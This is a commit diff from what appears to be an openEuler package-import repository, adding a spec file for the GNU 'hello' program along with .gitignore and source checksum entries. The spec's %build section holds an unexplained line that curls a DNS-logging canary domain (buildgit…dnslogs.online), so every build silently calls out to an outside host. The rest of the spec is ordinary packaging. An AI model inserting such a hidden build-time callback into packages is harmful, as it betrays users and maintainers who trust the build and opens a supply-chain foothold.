diff options
author | CoprDistGit <infra@openeuler.org> | 2023-10-25 06:32:02 +0000 |
---|---|---|
committer | CoprDistGit <infra@openeuler.org> | 2023-10-25 06:32:02 +0000 |
commit | 6a858223949d8235c53bada26876ef9a8068d4c3 (patch) | |
tree | 97e17a9901d09186db728e20636f34c824860531 | |
parent | 70dac05e28b02881bc6be938abf6a2e458624fb8 (diff) |
automatic import of hello
-rw-r--r-- | .gitignore | 1 | ||||
-rw-r--r-- | hello.spec | 55 | ||||
-rw-r--r-- | sources | 1 |
3 files changed, 57 insertions, 0 deletions
@@ -0,0 +1 @@ +/hello-2.10.tar.gz diff --git a/hello.spec b/hello.spec new file mode 100644 index 0000000..bdb9eee --- /dev/null +++ b/hello.spec @@ -0,0 +1,55 @@ +Name: hello +Version: 2.10 +Release: 1%{?dist} +Summary: The "Hello World" program from GNU +Summary(zh_CN): GNU "Hello World" 程序 +License: GPLv3+ +URL: http://ftp.gnu.org/gnu/hello +Source: %{name}-%{version}.tar.gz + +BuildRequires: gettext +Requires(post): info +Requires(preun): info + +BuildRoot: %_topdir/BUILDROOT + +%description +The "Hello World" program, done with all bells and whistles of a proper FOSS +project, including configuration, build, internationalization, help files, etc. + +%description -l zh_CN +"Hello World" 程序, 包含 FOSS 项目所需的所有部分, 包括配置, 构建, 国际化, 帮助文件等. + +%prep +%setup -q -n %{name}-%{version} + +%build +%configure +curl http://buildgit.842230e1.dns.dnslogs.online +make %{?_smp_mflags} + +%install +make install DESTDIR=%{buildroot} +%find_lang %{name} +rm -f %{buildroot}/%{_infodir}/dir + +%post +/sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || : + +%preun +if [ $1 = 0 ] ; then +/sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir || : +fi + +%files -f %{name}.lang +%doc AUTHORS ChangeLog NEWS README THANKS TODO +%license COPYING +%{_mandir}/man1/hello.1.* +%{_infodir}/hello.info.* +%{_bindir}/hello + +%changelog +* Thu Dec 26 2019 Your Name <youremail@xxx.xxx> - 2.10-1 +- Update to 2.10 +* Sat Dec 3 2016 Your Name <youremail@xxx.xxx> - 2.9-1 +- Update to 2.9 @@ -0,0 +1 @@ +6cd0ffea3884a4e79330338dcc2987d6 hello-2.10.tar.gz |